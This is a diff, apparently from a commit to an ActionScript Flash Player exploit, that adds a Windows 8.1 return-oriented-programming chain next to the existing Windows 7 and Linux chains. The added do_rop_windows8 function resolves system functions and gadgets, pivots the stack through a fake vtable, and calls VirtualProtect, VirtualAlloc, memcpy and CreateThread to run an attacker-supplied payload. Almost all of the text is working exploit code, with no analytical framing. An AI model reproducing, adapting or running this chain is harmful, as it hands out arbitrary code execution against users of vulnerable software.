@@ -11,6 +11,7 @@ package
11
11
private var eba: ExploitByteArray
12
12
private var payload: ByteArray
13
13
private var platform: String
14
+ private var op_system: String
14
15
private var pos: uint
15
16
private var byte_array_object: uint
16
17
private var main: uint
@@ -25,11 +26,12 @@ package
25
26
private var payload_space: Vector .< uint > = new Vector .< uint > (0x6400 )
26
27
private var spray: Vector .< Object > = new Vector .< Object > (89698 )
27
28
28
- public function Exploiter (exp :Exploit , pl :String , p : ByteArray , uv :Vector .<uint>):void
29
+ public function Exploiter (exp :Exploit , pl :String , os : String , p : ByteArray , uv :Vector .<uint>):void
29
30
{
30
31
exploit = exp
31
32
payload = p
32
33
platform = pl
34
+ op_system = os
33
35
34
36
ev = new ExploitVector(uv)
35
37
if (! ev. is_ready()) return
@@ -133,12 +135,19 @@ package
133
135
private function do_rop ():void
134
136
{
135
137
Logger. log ("[*] Exploiter - do_rop()" )
136
- if (platform == "linux" )
138
+ if (platform == "linux" ) {
137
139
do_rop_linux()
138
- else if (platform == "win" )
139
- do_rop_windows()
140
- else
140
+ } else if (platform == "win" ) {
141
+ if (op_system == "Windows 8.1" ) {
142
+ do_rop_windows8()
143
+ } else if (op_system == "Windows 7" ) {
144
+ do_rop_windows()
145
+ } else {
146
+ return
147
+ }
148
+ } else {
141
149
return
150
+ }
142
151
}
143
152
144
153
private function do_rop_windows ():void
@@ -150,7 +159,6 @@ package
150
159
var kernel32: uint = pe. module ("kernel32.dll" , winmm)
151
160
var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
152
161
var virtualprotect: uint = pe. procedure("VirtualProtect" , kernel32)
153
- var winexec: uint = pe. procedure("WinExec" , kernel32)
154
162
var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernel32)
155
163
var createthread: uint = pe. procedure("CreateThread" , kernel32)
156
164
var memcpy: uint = pe. procedure("memcpy" , ntdll)
@@ -182,14 +190,14 @@ package
182
190
183
191
// VirtualAlloc
184
192
eba. write(0 , memcpy)
185
- eba. write(0 , 0x70000000 )
193
+ eba. write(0 , 0x7f6e0000 )
186
194
eba. write(0 , 0x4000 )
187
195
eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
188
196
eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
189
197
190
198
// memcpy
191
199
eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
192
- eba. write(0 , 0x70000000 )
200
+ eba. write(0 , 0x7f6e0000 )
193
201
eba. write(0 , payload_address + 8 )
194
202
eba. write(0 , payload. length )
195
203
@@ -198,7 +206,7 @@ package
198
206
eba. write(0 , buffer + 0x10 ) // return to fix things
199
207
eba. write(0 , 0 )
200
208
eba. write(0 , 0 )
201
- eba. write(0 , 0x70000000 )
209
+ eba. write(0 , 0x7f6e0000 )
202
210
eba. write(0 , 0 )
203
211
eba. write(0 , 0 )
204
212
eba. write(0 , 0 )
@@ -207,6 +215,73 @@ package
207
215
exploit. toString () // call method in the fake vtable
208
216
}
209
217
218
+ private function do_rop_windows8 ():void
219
+ {
220
+ Logger. log ("[*] Exploiter - do_rop_windows8()" )
221
+ var pe: PE = new PE (eba)
222
+ var flash: uint = pe. base (vtable)
223
+ var winmm: uint = pe. module ("winmm.dll" , flash)
224
+ var advapi32: uint = pe. module ("advapi32.dll" , flash)
225
+ var kernelbase: uint = pe. module ("kernelbase.dll" , advapi32)
226
+ var kernel32: uint = pe. module ("kernel32.dll" , winmm)
227
+ var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
228
+ var virtualprotect: uint = pe. procedure("VirtualProtect" , kernelbase)
229
+ var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernelbase)
230
+ var createthread: uint = pe. procedure("CreateThread" , kernelbase)
231
+ var memcpy: uint = pe. procedure("memcpy" , ntdll)
232
+ var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
233
+ var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
234
+ var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
235
+
236
+ // Continuation of execution
237
+ eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
238
+ eba. write(0 , "\x bb" , false ); eba. write(0 , main, false ) // mov ebx, main
239
+ eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
240
+ eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
241
+
242
+ // Put the payload (command) in memory
243
+ eba. write(payload_address + 8 , payload, true ); // payload
244
+
245
+ // Put the fake vtabe / stack on memory
246
+ eba. write(stack_address + 0x18070 , xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247
+ eba. write(stack_address + 0x180a4 , xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248
+ eba. write(stack_address + 0x18000 , xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249
+ eba. write(0 , virtualprotect)
250
+
251
+ // VirtualProtect
252
+ eba. write(0 , virtualalloc)
253
+ eba. write(0 , buffer + 0x10 )
254
+ eba. write(0 , 0x1000 )
255
+ eba. write(0 , 0x40 )
256
+ eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
257
+
258
+ // VirtualAlloc
259
+ eba. write(0 , memcpy)
260
+ eba. write(0 , 0x7ffd0000 )
261
+ eba. write(0 , 0x4000 )
262
+ eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
263
+ eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
264
+
265
+ // memcpy
266
+ eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267
+ eba. write(0 , 0x7ffd0000 )
268
+ eba. write(0 , payload_address + 8 )
269
+ eba. write(0 , payload. length )
270
+
271
+ // CreateThread
272
+ eba. write(0 , createthread)
273
+ eba. write(0 , buffer + 0x10 ) // return to fix things
274
+ eba. write(0 , 0 )
275
+ eba. write(0 , 0 )
276
+ eba. write(0 , 0x7ffd0000 )
277
+ eba. write(0 , 0 )
278
+ eba. write(0 , 0 )
279
+ eba. write(0 , 0 )
280
+
281
+ eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
282
+ exploit. toString () // call method in the fake vtable
283
+ }
284
+
210
285
private function do_rop_linux ():void
211
286
{
212
287
Logger. log ("[*] Exploiter - do_rop_linux()" )
@@ -241,8 +316,6 @@ package
241
316
eba. write(0 , "\x 5f" , false ) // pop edi
242
317
eba. write(0 , "\x 5e" , false ) // pop esi
243
318
eba. write(0 , "\x c3" , false ) // ret
244
-
245
- // eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false)
246
319
247
320
// Put the popen parameters in memory
248
321
eba. write(payload_address + 0x8 , payload, true ) // false
0 commit comments